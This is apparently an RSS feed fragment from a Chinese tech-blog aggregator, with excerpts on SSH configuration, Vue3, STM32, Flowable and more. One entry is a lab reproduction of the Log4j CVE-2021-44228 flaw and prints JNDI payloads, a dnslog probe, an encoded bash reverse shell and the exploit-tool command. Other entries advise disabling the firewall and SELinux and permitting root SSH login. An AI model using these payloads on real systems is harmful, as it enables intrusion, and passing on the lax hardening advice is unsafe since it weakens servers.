      <description> 本文将分享CentOS 如何更改SSH端口的方法。执行以下步骤以更改CentOS上的默认SSH端口号：&#xA;1、登录centos服务器；&#xA;2、输入vi /etc/ssh/sshd_config编辑此文件.&#xA;在原配置文件 Port 22这行回车添加新端口，然后按键盘的Esc退出编辑，再然后输入:wq保存并退出。添加一个新的端口最好把原来默认的22端口打开，等修改成功后再关闭22端口。&#xA;3、重启sshd 服务：systemctl restart sshd&#xA;4、查看sshd服务是否正常启动：systemctl status sshd&#xA;5、检查端口是否处于监听状态：netstat -ntulp | grep sshd&#xA;6、设置防火墙策略，可以直接将防火墙全关闭。&#xA;systemctl stop firewalld&#xA;systemctl disable firewalld&#xA;7、关闭SeLinux：vim /etc/selinux/config&#xA;8、重启生效，然后就可以用新端口登陆SSH，登陆后把22端口关闭。&#xA;由 主机教程网 2bcd.com 首发于 主机教程网&#xA;原文链接：https://2bcd.com/1887.html </description>
    </item>
    <item>
      <title>VUE3集成Markdown编辑器（http://editor.md.ipandao.com/）</title>
      <link>https://bchobby.github.io/posts/bc94edb3213522889f2b037816b536c2/</link>
      <pubDate>Sat, 01 Oct 2022 08:18:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc94edb3213522889f2b037816b536c2/</guid>
      <description>目录&#xA;背景信息&#xA;Editor.md是2015年开源的项目，那时还没有VUE3版本，所以网上也较少VUE3集成Editor.md的示例。不过还是有些大牛分享了集成的方法。&#xA;集成方法&#xA;1、下载和安装editor.md、scriptjs及 jquery.js&#xA;2、封装一个组件EditorMarkdown，以下为 EditorMarkdown.vue的内容。&#xA;3、引用组件EditorMarkdown，以下为App.vue的内容。&#xA;运行效果&#xA;父组件往子组件传递参数（场景：单击文档的导航节点时可往编辑器中传值），完成编辑器的初始化。&#xA;背景信息 Editor.md是2015年开源的项目，那时还没有VUE3版本，所以网上也较少VUE3集成Editor.md的示例。不过还是有些大牛分享了集成的方法。 例如： vue集成editor.md_流年ln的博客-CSDN博客_vue使用editor.mdk&#xA;可是不能直接使用，需要进行一些调整。经过不断尝试，调整成功。&#xA;集成方法 1、下载和安装editor.md、scriptjs及 jquery.js editor.md最新版本： v1.5.0，更新于 2015-06-09 Github下载&#xA;或者通过 NPM 安装：&#xA;npm install editor.md&#xA;将下载后的文件放置到VUE3项目的public/static目录下（VUE2是放置到与src并列的static目录中）。&#xA;放置好后的目录结构如下（EditorMarkdown.vue为下一步要创建的组件——集成了editor.md，且可获取Markdown内容和解析后的Html内容，可在任意页面中引用）。&#xA;安装scriptjs npm install scriptjs --save 下载jquery.js 从官网下载：Download jQuery | jQuery&#xA;建议下载非压缩版的，便于调试，例如Download the uncompressed, development jQuery 3.6.1 将jquery.js放置到：static/editor.md/lib/jquery.js（下文组件中会引用此路径）。 2、封装一个组件EditorMarkdown，以下为 EditorMarkdown.vue的内容。 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;https://bchobby.github.io/static/editor.md/css/editormd.css&#34;&amp;gt; &amp;lt;!-- editormd --&amp;gt; &amp;lt;button id=&#34;get-md-btn&#34;&amp;gt;Get Markdown&amp;lt;/button&amp;gt; &amp;lt;button id=&#34;get-html-btn&#34;&amp;gt;Get HTML&amp;lt;/button&amp;gt; &amp;lt;div id=&#34;editor&#34; style=&#34;z-index: 10&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import scriptjs from &#39;scriptjs&#39; export default { name: &#39;EditorMarkdown&#39;, props: { modelValue: { type: String, required: false, default: &#39;&#39; }, height: { type: String, required: false, default: &#39;720px&#39; } }, data() { return { editor: {} } }, mounted() { // 设置延迟初始化markdown编辑器, 因为只会初始化一次，需要等待数据加载完成之后再初始化 setTimeout(() =&amp;gt; { this.</description>
    </item>
    <item>
      <title>微信小程序 FileSystemManager.rmdir 安卓兼容性问题</title>
      <link>https://bchobby.github.io/posts/e5de1a599002a1e48e7ce2a8875f64ec/</link>
      <pubDate>Sat, 01 Oct 2022 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5de1a599002a1e48e7ce2a8875f64ec/</guid>
      <description> 经测试，微信小程序的 FileSystemManager.rmdir 递归删除在安卓部分机型上有兼容性问题，会既不触发 success 回调，也不触发 fail 回调。在苹果机型上没有出现此问题。&#xA;可以使用 readdir 和 unlink 方法，先获取文件列表，再对文件逐个进行删除，来实现删除文件夹内文件的目的。&#xA;参考代码：&#xA;const fs = wx.getFileSystemManager() const dirPath = `${wx.env.USER_DATA_PATH}/example` fs.readdir({ dirPath, success(list) { list.files.forEach((fName) =&amp;gt; { const fPath = `${dirPath}/${fName}`; try { fs.unlinkSync(fPath); } catch (e) { console.error(e); } }); }, fail(e) { console.error(e); } }) </description>
    </item>
    <item>
      <title>STM32cubeIDE安装教程</title>
      <link>https://bchobby.github.io/posts/00eb8b39d6e6b7768f846b89c5ff4fca/</link>
      <pubDate>Fri, 30 Sep 2022 22:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00eb8b39d6e6b7768f846b89c5ff4fca/</guid>
      <description>1.STM32cubeIDE的介绍&#xA;STM32CubeIDE是一种高级C/C++开发平台，具有STM32微控制器和微处理器的外设配置、代码生成、代码编译和调试功能。它基于Eclipse®/CDT™框架和用于开发的GCC工具链，以及用于调试的GDB。它支持集成数以百计的现有插件，正是这些插件使Eclipse® IDE的功能趋于完整。&#xA;STM32CubeIDE集成了STM32CubeMX的STM32配置与项目创建功能，以便提供一体化工具体验，并节省安装与开发时间。在通过所选板卡或示例选择一个空的STM32 MCU或MPU，或者预配置微控制器或微处理器之后，将创建项目并生成初始化代码。在开发过程的任何时间，用户均可返回外设或中间件的初始化和配置阶段，并重新生成初始化代码，期间不会影响用户代码。&#xA;STM32CubeIDE包含相关构建和堆栈分析仪，能够为用户提供有关项目状态和内存要求的有用信息。&#xA;STM32CubeIDE还具有标准和高级调试功能，其中包括CPU内核寄存器、存储器和外设寄存器以及实时变量查看、串行线传输监测器接口或故障分析器的视图。&#xA;2.STM32cubeIDE的下载&#xA;ST官网网址：https://www.st.com/zh/development-tools/stm32cubeide.html&#xA;2-1.进入官网，点击获取软件&#xA;注意：下载之前，需要注册ST官网账号&#xA;2-2.获取软件，下载&#xA;3.下载后得到安装包，以管理员身份运行&#xA;4.选择Next&#xA;5.选择 I Agree&#xA;6.选择安装路径，一般默认（如果磁盘空间小，建议安装其他盘），在点击Next&#xA;，&#xA;7.默认，点击Install&#xA;8.等待安装，安装好点击Next&#xA;9.点击Finish&#xA;10.双击打开，出现下面界面 11.选择自己开发板芯片型号，点击Next&#xA;12.为自己的工程起一个名字，注意不能有中文字符&#xA;13.选择Yes，等待下载其他文件&#xA;14.完成下载后，就有了下面的界面。接下来就是开发STM32之旅了！！！</description>
    </item>
    <item>
      <title>解决survIDINRI包比较两个cox模型的IDI/NRI值Error in Surv(xi, di)Time variable is not numeric错误</title>
      <link>https://bchobby.github.io/posts/78b39b989b61be572109ca1cf1b06302/</link>
      <pubDate>Fri, 30 Sep 2022 21:54:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78b39b989b61be572109ca1cf1b06302/</guid>
      <description>解决：Error in Surv(xi, di) : Time variable is not numeric&#xA;如果出现此报错，需要将模型所有自变量进行哑变量转换。survIDINRI文档中推荐的是用model.matrix函数进行哑变量化，注意使用该函数的话新的数据经过as.data.frame转换后会产生一列“Intercept”，需将此列删除。再进行模型运算。</description>
    </item>
    <item>
      <title>Flowable工作流引擎</title>
      <link>https://bchobby.github.io/posts/2fa06a4c4741010db541145e790985c9/</link>
      <pubDate>Fri, 30 Sep 2022 16:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fa06a4c4741010db541145e790985c9/</guid>
      <description>Flowable工作流引擎 Flowable-基础篇(根据BV1Pb4y1p7Ku整理) 一、简介 Flowable是BPMN的一个基于java的软件实现，不过Flowable不仅仅包括BPMN，还有DMN决策表和CMMN Case管理引擎，并且有自己的用户管理、微服务API等一系列功能，是一个服务平台。&#xA;官方手册：https://tkjohn.github.io/flowable-userguide/# introduction 二、数据库解析（数据库为代码创建，先看第三点：实例前的示例（官方文档的例子）） 1、act_evt_log：日志表&#xA;2、act_ge_bytearray：二进制资源表&#xA;3、act_ge_bytearray：引擎属性表&#xA;4、act_hi_actinst：历史活动信息表&#xA;5、act_hi_attachment：流程历史附件表&#xA;6、act_hi_comment：历史审批意见表&#xA;7、act_hi_detail：历史详情表&#xA;8、act_hi_identitylink：历史参与的人员表&#xA;9、act_hi_procinst：历史流程记录表&#xA;10、act_hi_taskinst：历史任务表&#xA;11、act_hi_varinst：历史流程变量表&#xA;12、act_id_bytearray：用户组部署内容表&#xA;用户组的部署内容&#xA;13、act_id_group：所有用户组信息表&#xA;所有用户组的信息&#xA;14、act_id_info：所有用户信息表&#xA;所有用户的信息，账号密码&#xA;15、act_id_membership：用户和用户组关系表&#xA;用户和用户组的关系&#xA;16、act_id_priv：权限表&#xA;17、act_id_priv_mapping：用户权限关系表&#xA;18、act_id_property：用户变量表&#xA;用户的变量，存了版本号&#xA;19、act_id_token：用户访问记录表&#xA;20、ct_id_user：用户基本信息表&#xA;用户基本信息，包括邮箱等&#xA;21、act_procdef_info：流程定义信息表&#xA;22、act_re_deployment：流程部署表&#xA;23、act_re_model：流程模型表&#xA;24、act_re_procdef：流程定义表&#xA;25、act_ru_deadletter_job：运行时死信作业表&#xA;26、act_ru_event_subscr：运行时事件订阅表&#xA;27、act_ru_execution：运行时流程执行实例表&#xA;28、atc_ru_history_job：运行时历史信息表&#xA;29、act_ru_identitylink：运行时身份连接表&#xA;30、act_ru_job：运行时作业表&#xA;31、act_ru_suspended_job：运行时挂起的定时作业表&#xA;32、act_ru_task：运行时任务表&#xA;33、act_ru_timer_job：运行时定时作业表&#xA;34、act_ru_variable：运行时流程变量表&#xA;三、实例前的示例（官方文档的例子） 1、创建项目 ●创建一个maven项目&#xA;●填写pom依赖&#xA;2、配置依赖 &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.flowable&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;flowable-engine&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;6.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.21&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.</description>
    </item>
    <item>
      <title>Linux SSH Access denied（拒绝访问）解决方案</title>
      <link>https://bchobby.github.io/posts/00ed04b7951f387620d177f162455c2d/</link>
      <pubDate>Fri, 30 Sep 2022 15:06:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00ed04b7951f387620d177f162455c2d/</guid>
      <description>虚拟机安装的ubuntu使用 SSH 连接出现 Access denied，记录一下这个坑。&#xA;详细问题如下（见图）：&#xA;解决方案&#xA;查了下资料，Linux 系统默认就是禁止远程登录的。那就打开权限就行了。&#xA;因为需要修改系统设置，普通用户会出现没有权限，所以在超级管理员下操作，输入 su root 在输入密码便可（如图）：&#xA;安装 openssh-server&#xA;yum -y install openssh-server 1&#xA;检查下 SSH 版本&#xA;ps -e |grep ssh&#xA;1&#xA;见下图：ssh-server 已经安装成功了。&#xA;编辑配置文件：&#xA;vim /etc/ssh/sshd_config&#xA;1&#xA;修改 PermitRootLogin 为 yes&#xA;退出编辑：&#xA;按下 &#39;Esc&#39; 键，输入&#34; :wq &#34; ，回车便可。&#xA;1&#xA;重启 SSH：&#xA;systemctl restart sshd&#xA;1&#xA;大功告成，可以使用ssh链接了</description>
    </item>
    <item>
      <title>第三节 Hadoop学习案例——MapReduce课程设计 好友推荐功能</title>
      <link>https://bchobby.github.io/posts/2450dee113de1b29e41945f86690642e/</link>
      <pubDate>Fri, 30 Sep 2022 14:52:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2450dee113de1b29e41945f86690642e/</guid>
      <description>提示：文章内容主要以案例为主&#xA;目录&#xA;前言&#xA;项目说明&#xA;一，程序需求&#xA;1.需求&#xA;2.数据&#xA;二，编码操作&#xA;1.项目建包目录&#xA;2.FriendsRecommend.java&#xA;3.FriendsRecommendMapper.java&#xA;4.FriendsRecommendReduce.java&#xA;三，Xshell运行的步骤&#xA;1.创建目录&#xA;2.上传程序&#xA;3.分布式文件系统上传测试数据&#xA;4.执行程序&#xA;5. 查看结果&#xA;总结&#xA;前言 项目说明 互为推荐关系 非好友的两个人之间存在相同好友则互为推荐关系朋友圈两个非好友的人，存在共同好友人数越多，越值得推荐存在一个共同好友，值为1；存在多个值累加 提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一，程序需求 1.需求 程序要求，给每个人推荐可能认识的人 互为推荐关系值越高，越值得推荐每个用户，推荐值越高的可能认识的人排在前面 2.数据 数据使用空格分割每行是一个用户以及其对应的好友每行的第一列名字是用户的名字，后面的是其对应的好友数据准备：friend.txt xiaoming laowang renhua linzhiling laowang xiaoming fengjie renhua xiaoming ligang fengjie linzhiling xiaoming ligang fengjie guomeimei ligang renhua fengjie linzhiling guomeimei fengjie linzhiling fengjie renhua laowang linzhiling guomeimei 二，编码操作 1.项目建包目录 2.FriendsRecommend.java package org.hadoop.mr; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.</description>
    </item>
    <item>
      <title>火狐浏览器跨域问题</title>
      <link>https://bchobby.github.io/posts/eddfa78a11dd5b490ff78197b18b9b6a/</link>
      <pubDate>Fri, 30 Sep 2022 14:36:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eddfa78a11dd5b490ff78197b18b9b6a/</guid>
      <description>火狐浏览器跨域问题 在地址栏录入前端地址后允许风险访问&#xA;这个时候前端可以访问了，但是登陆时调用的后端接口报错了&#xA;原因：后端访问地址未被允许造成的&#xA;解决：把后端访问地址在地址栏录入后允许风险访问，和前端的允许访问操作一致</description>
    </item>
    <item>
      <title>CVE-2021-44228 log4j2远程代码执行漏洞复现</title>
      <link>https://bchobby.github.io/posts/d821b91adcc41411c3466842d4fd93eb/</link>
      <pubDate>Fri, 30 Sep 2022 13:24:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d821b91adcc41411c3466842d4fd93eb/</guid>
      <description>由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据（类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入），触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。&#xA;影响范围：2.0至2.14.1&#xA;漏洞前置知识 1、log4j2&#xA;Apache Log4j 2 是Java语言的日志处理套件，通过使用Log4j，可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。&#xA;2、JNDI JNDI是Java Naming and Directory Interface（JAVA命名和目录接口）的英文简写，它是为JAVA应用程序提供命名和目录访问服务的API（Application Programing Interface，应用程序编程接口）。&#xA;JNDI目前所支持的技术包括LDAP、CORBA Common Object Service（COS）名字服务、RMI、NDS、DNS、Windows注册表等等。&#xA;3、LDAP&#xA;LDAP是一个目录服务，可以通过目录路径查询到对应目录下的对象（文件）等。即其也是JNDI的实现，通过名称（目录路径）查询到对象（目录下的文件）。&#xA;4、RMI&#xA;能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法&#xA;5、攻击原理&#xA;Log4j2默认支持解析ldap/rmi协议（只要打印的日志中包括ldap/rmi协议即可），并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。攻击者可以在界面传入一个包含恶意内容（会提供一个恶意的Class文件）的ldap协议内容，该内容传递到后端被log4j2打印出来，就会触发恶意的Class的加载执行（可执行任意后台指令），从而达到攻击的目的。&#xA;环境搭建 靶机：172.16.10.12&#xA;kali：172.16.10.60&#xA;这里使用vulhub-master docker环境来搭建&#xA;进入vulhub-master/log4j/CVE-2021-44228目录&#xA;执行docker-compose up -d&#xA;服务启动后，访问http://172.16.10.60:8983即可查看到后台页面&#xA;漏洞复现 第一步、判断是否存在漏洞&#xA;首先在dnslog平台拿到一个域名&#xA;用到管理的接口的action参数构造payload&#xA;http://172.16.10.12:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.lzuhd0.dnslog.cn} 访问之后，dnslog平台出现数据，显示出当前java版本，证明漏洞存在&#xA;第二步、反弹shell&#xA;首先构造反弹shell命令&#xA;bash -i &amp;gt;&amp;amp; /dev/tcp/172.16.10.60/3456 0&amp;gt;&amp;amp;1 进行编码&#xA;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuNjAvMzQ1NiAwPiYx}|{base64,-d}|{bash,-i} 然后在kali上利用大佬的工具（JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar）来启动ldap和web服务&#xA;java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &#34;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuNjAvMzQ1NiAwPiYx}|{base64,-d}|{bash,-i}&#34; -A &#34;172.16.10.60&#34; 新开启一个kali窗口监听&#xA;nc -lvvnp 3456 访问http://172.</description>
    </item>
    <item>
      <title>EndNote X9 在 Word 中嵌入 参考文献格式 全网最详细介绍</title>
      <link>https://bchobby.github.io/posts/99d77e81336de904225ff52f710900e0/</link>
      <pubDate>Fri, 30 Sep 2022 12:24:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99d77e81336de904225ff52f710900e0/</guid>
      <description>EndNote X9: 如何用 Endnote X9 插入文献以及调整参考文献格式？ - 实验方法 - 丁香通&#xA;注意：进行下面步骤的前提是你已经安装了 EndNote 一、用EndNote X9创建库 安装好之后，第一次打开EndNote，会显示如下的界面：&#xA;可能会和我的不一样，我是都不同意后的界面！&#xA;1、某个盘新建一个文件夹来存放，我保存的位置是E:\...\EndNote Library\，EndNote Library是我在E盘下新建的文件夹， 2、选择 EndNote 中的那个” file -&amp;gt; new”，创建一个新的库, 位置在我们上面的文件夹中，此时，会弹出如下的文件框：&#xA;点击 打开-&amp;gt;保存 就好了，可以打开这个文件夹，例如，我打开EndNote Library文件夹，里面有EndNote生成的两个东东，如下：&#xA;此时，EndNote 的库已经创建好了。要怎么使用呢？继续看下面的。刚才 Create a new library 之后，弄好了库的位置，EndNote的界面显示如下：&#xA;二、查找并添加期刊对应的参考文献格式 我的理解是，每个论文上面都有参考文献的信息，比如日期、作者、发布期刊的名字等，当我们给一个特定的 参考文献格式，endnote 会自动帮我们提取这些信息；&#xA;EndNote本身就自带了很多期刊的格式文件，如果没有你要投的期刊的格式文件的话，就要你自己找了。&#xA;其实不用在网上找别人的下载，endnot官网就有所有的格式：Output Styles | EndNote&#xA;我们打开官网，如下：&#xA;选择 download 下面的 output stytles, 输入期刊的名字： sensors, 点击 search, 便可以看到下面的期刊名字！&#xA;点击最右边的下载，找到格式文件之后，要把格式文件放到 EndNote 安装目录下的 Styles文件夹下。&#xA;注意啦：是安装目录，不是刚才的库目录 ，放好后如下图所示：&#xA;注意这个地方：有时候这个期刊找不到，比如GPS solution, 是因为 GPS Solution 这个期刊属于 Springer 这个大的类，就是说很多期刊的格式是一致的，需要看他的大类是什么，这个地方需要注意哦！</description>
    </item>
    <item>
      <title>@Validated注解详解，分组校验，嵌套校验</title>
      <link>https://bchobby.github.io/posts/d17196dfef916e13dfede7b0a21d7b9b/</link>
      <pubDate>Fri, 30 Sep 2022 10:09:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d17196dfef916e13dfede7b0a21d7b9b/</guid>
      <description>简述&#xA;1、@Validation是一套帮助我们继续对传输的参数进行数据校验的注解，通过配置Validation可以很轻松的完成对数据的约束。&#xA;2、@Validated作用在类、方法和参数上&#xA;@Target({ElementType.TYPE, ElementType.METHOD, ElementType.PARAMETER})&#xA;@Retention(RetentionPolicy.RUNTIME)&#xA;@Documented&#xA;public @interface Validated {&#xA;Class&amp;lt;?&amp;gt;[] value() default {};&#xA;}&#xA;错误的状态码&#xA;错误的状态码&#xA;返回的响应码推荐使用400 bad request.&#xA;所有参数注解含义&#xA;@Valid和@Validated 区别： @Valid：没有分组的功能。&#xA;@Valid：可以用在方法、构造函数、方法参数和成员属性（字段）上&#xA;@Validated：提供了一个分组功能，可以在入参验证时，根据不同的分组采用不同的验证机制&#xA;@Validated：可以用在类型、方法和方法参数上。但是不能用在成员属性（字段）上&#xA;两者是否能用于成员属性（字段）上直接影响能否提供嵌套验证的功能</description>
    </item>
    <item>
      <title>HCIP相关笔记</title>
      <link>https://bchobby.github.io/posts/fc8ddfee36ace321b8afe2b6229a771c/</link>
      <pubDate>Thu, 29 Sep 2022 23:20:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc8ddfee36ace321b8afe2b6229a771c/</guid>
      <description>目录&#xA;OSI七层参考模型&#xA;获取目标MAC地址的方法：&#xA;封装和解封装&#xA;1.获取IP地址：（1）手工获取 （2）通过DHCP自动获取&#xA;2.打开浏览器，在浏览器中的地址栏上输入需要访问的服务器的 URL （资源定位符） 1.HDLC&#xA;2.PPP&#xA;2.认证阶段&#xA;3，网络层协议协商阶段----NCP （网络控制协议）协商----IPCP 协议&#xA;4&amp;gt;配置：&#xA;四、GRE MGRE&#xA;1.GRE---通用路由封装技术（缺点：可拓展性差）&#xA;（1）GRE的配置：&#xA;&amp;lt;1&amp;gt; 创建隧道接口：&#xA;&amp;lt;2&amp;gt; 隧道接口配置IP地址：&#xA;&amp;lt;3&amp;gt; 定义封装方式：&#xA;&amp;lt;4&amp;gt; 定义封装内容：&#xA;2.MGRE---多点通用路由封装协议&#xA;（1）MGRE配置中心：&#xA;分支：&#xA;在MGRE环境下使用RIP获取未知网段路由的信息：&#xA;五、OSPF---开放式最短路径优先协议---无类别路由协议&#xA;1.OSPF的数据包类型：&#xA;2.OSPF状态机：&#xA;2-way（双向通信）---标志着邻居关系的建立&#xA;3.OSPF工作过程：&#xA;4.OSPF的基本配置&#xA;结构突变：&#xA;5.OSPF数据包&#xA;（1）HELLO包，DBD包，LSR包，LSU包，LSACK包&#xA;（2）HELLO包---周期性发现，建立，保活邻居关系。DR/BDR选举。&#xA;（3）DBD包---数据库描述报文---1.使用未携带数据的DBD包进行主从关系选举；2.使用携带数据的DBD包进行目录共享&#xA;（4）LSR---链路状态请求报文&#xA;（5）LSU---链路状态更新报文---真正携带LSA信息的数据包&#xA;​编辑（6）LSACK---链路状态确认报文&#xA;6.OSPF接口网络类型---指的是OSPF接口在不同的网络类型下的默认的工作方式&#xA;7.OSPF不规则区域&#xA;8.多进程双向重发布&#xA;9.OSPF的LSA&#xA;（1）LSA---链路状态通告---OSPF协议在不同网络下产生的用于携带和传递不同的信息。&#xA;（2）LSA的组成：&#xA;（3）LSA头部：&#xA;（4）分类：&#xA;HCIP---华为认证体系下高级网络工程师&#xA;抽象语言-------电信号 的过程&#xA;抽象语言-----编码&#xA;编码--------二进制&#xA;二进制-----电信号&#xA;处理电信号&#xA;OSI七层参考模型 OSI---------------Open System Interconnect(开放式系统互联参考模型)&#xA;1979年由ISO组织（国际标准化组织） 颁布的OSI&#xA;【第一台电子计算机---1946.2.14&#xA;1876----贝尔获得电话专利】</description>
    </item>
    <item>
      <title>什么是枚举【详解】</title>
      <link>https://bchobby.github.io/posts/38e7ea6a25de750cd24b934a170f2509/</link>
      <pubDate>Thu, 29 Sep 2022 22:21:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38e7ea6a25de750cd24b934a170f2509/</guid>
      <description>本期介绍🍖&#xA;主要介绍：什么是枚举，枚举是如何定义、初始化的，以及枚举到底如何使用，还有枚举这种语法存在的优点有那些👀。&#xA;文章目录 一、什么是枚举🍖二、枚举类型的定义🍖三、枚举的使用🍖四、枚举的优点🍖 一、什么是枚举🍖 在C/C++中枚举是一个被命名的整型常数的集合。在实际应用中我们经常把能够且便于一一列举的类型用枚举来表示。就比如：一周的星期、性别、月份……&#xA;二、枚举类型的定义🍖 枚举类型的定义与结构体类似，不同在于结构体每个成员之间是用；隔开的，而枚举成员之间却是用，分隔。如下所示：&#xA;enum Color { Red, Yellow, Blue }; 其中enum为枚举类型的关键字，enum Color为枚举的类型，而{}中的内容为枚举类型可能的取值，也称为：枚举常量。这些可能的取值都是有值的，在未初始化的情况下，默认从0开始依次递增1。当然我们可以在其定义的时候初始化一些值，而那些未初始化的部分会从最后一个初始化数开始向后依次递增1。如下所示：&#xA;三、枚举的使用🍖 注意：在给枚举变量赋值的时候，只能用枚举常量（也就是这里的Red、Yellow、Blue），不能使用这些常量所对应的值（也就是0、1、2），否则会由于类型的差异而导致编译不过的情况。&#xA;四、枚举的优点🍖 我们其实可以使用#define定义常量，为什么非要使用枚举？&#xA;增加代码的可读性和可移植性与#define定义的标识符相比，枚举常量更加严谨（因为枚举类型具有类型检查）防止命名污染便于调试（#define定义的标识符在编译期间就会被全部替换掉，是无法在调试时准确监视到的，但枚举却可以）使用方便，可以一次定义多个常量 这份博客👍如果对你有帮助，给博主一个免费的点赞以示鼓励欢迎各位🔎点赞👍评论收藏⭐️，谢谢！！！&#xA;如果有什么疑问或不同的见解，欢迎评论区留言欧👀。</description>
    </item>
    <item>
      <title>自动驾驶路径规划——基于MATLAB的栅格地图</title>
      <link>https://bchobby.github.io/posts/2f8e476c9dff7ff2846c43396246286d/</link>
      <pubDate>Thu, 29 Sep 2022 21:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f8e476c9dff7ff2846c43396246286d/</guid>
      <description>目录&#xA;前言&#xA;1.什么是栅格地图？&#xA;1.1栅格地图用于路径规划的优势：&#xA;2.MATLAB栅格地图的绘制 MATLAB代码&#xA;声明&#xA;前言 这个学期学校开设了相应的课程，同时也在学习古月居机器人学系列的《基于栅格地图的机器人路径规划指南》，为了巩固知识，方便自己的学习与整理，遂以学习笔记的形式记录。&#xA;另附一些其他博主写的文章：&#xA;基于栅格地图的路径规划（一）基于Matlab二维、三维栅格地图的构建 路径规划（一）：使用Matlab快速绘制栅格地图&#xA;python栅格地图上路径规划作图&#xA;1.什么是栅格地图？ 栅格图像，也称光栅图像，是指在空间和亮度上都已经离散化了的图像。我们可以把一幅栅格图像考虑为一个矩阵，矩阵中的任一元素对应于图像中的一个点，而相应的值对应于该点的灰度级（灰度图），数字矩阵中的元素叫做像素。机器人学中地图的表示方法有四种：特征地图、拓扑地图、栅格地图以及直接表征法（Appearance Based Methods）。&#xA;特征地图用有关的几何特征（如点、直线、面）表示环境。&#xA;​ 栅格地图则是把环境划分成一系列栅格，其中每一栅格给定一个可能值，表示该栅格被占据的概率。&#xA;栅格地图、特征地图以及点云地图又被称为尺度地图，常用于地图构建、定位、SLAM、小规模的路径规划。&#xA;拓扑地图把室内环境表示为带结点和相关连接线的拓扑结构图，其中结点表示环境中的重要位置点（拐角、门、电梯、楼梯等），边表示结点间的连接关系，如走廊等。拓扑地图不具备真实的物理尺寸，只表示不同地点的连通关系和距离。&#xA;直接表征法省去了特征或栅格表示这一中间环节，直接用传感器读取的数据来构造机器人的位姿空间。每种方法各有自己的特点和适用范围，其中特征地图和栅格地图应用最普遍。 此外还有语义地图，通过加上标签的方式进行描述，如M楼位于学子路的东侧。语义地图常用于人机交互。&#xA;1.1栅格地图用于路径规划的优势： 1.可以将任意形状轮廓的地图，用足够精细的栅格进行绘制；&#xA;2.每一个栅格，可以通过不同颜色表征不同含义，如黑色代表障碍物、黄色代表起点、红色代表终点。&#xA;3.基于栅格地图进行路径规划有横、纵、斜三个规划方向，对于室内低速机器人可以完全按照规划路径行走；对于中高速机器人，可以考虑将规划路径进行平滑处理，以适用于非完全约束系统。&#xA;2.MATLAB栅格地图的绘制 MATLAB绘制栅格地图的几个核心函数及思想：&#xA;1.colormap:为栅格地图创建自定义颜色。如黄色栅格代表起点、红色栅格代表终点、黑色栅格代表障碍物。&#xA;颜色&#xA;double 或 single RGB 三元组&#xA;uint8 RGB 三元组&#xA;黄色&#xA;[1 1 0]&#xA;[255 255 0]&#xA;品红色&#xA;[1 0 1]&#xA;[255 0 255]&#xA;青蓝色&#xA;[0 1 1]&#xA;[0 255 255]&#xA;红色&#xA;[1 0 0]&#xA;[255 0 0]&#xA;绿色</description>
    </item>
    <item>
      <title>数据库安装部署</title>
      <link>https://bchobby.github.io/posts/b44ff6d9baa96044e675813c5220f143/</link>
      <pubDate>Thu, 29 Sep 2022 15:17:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b44ff6d9baa96044e675813c5220f143/</guid>
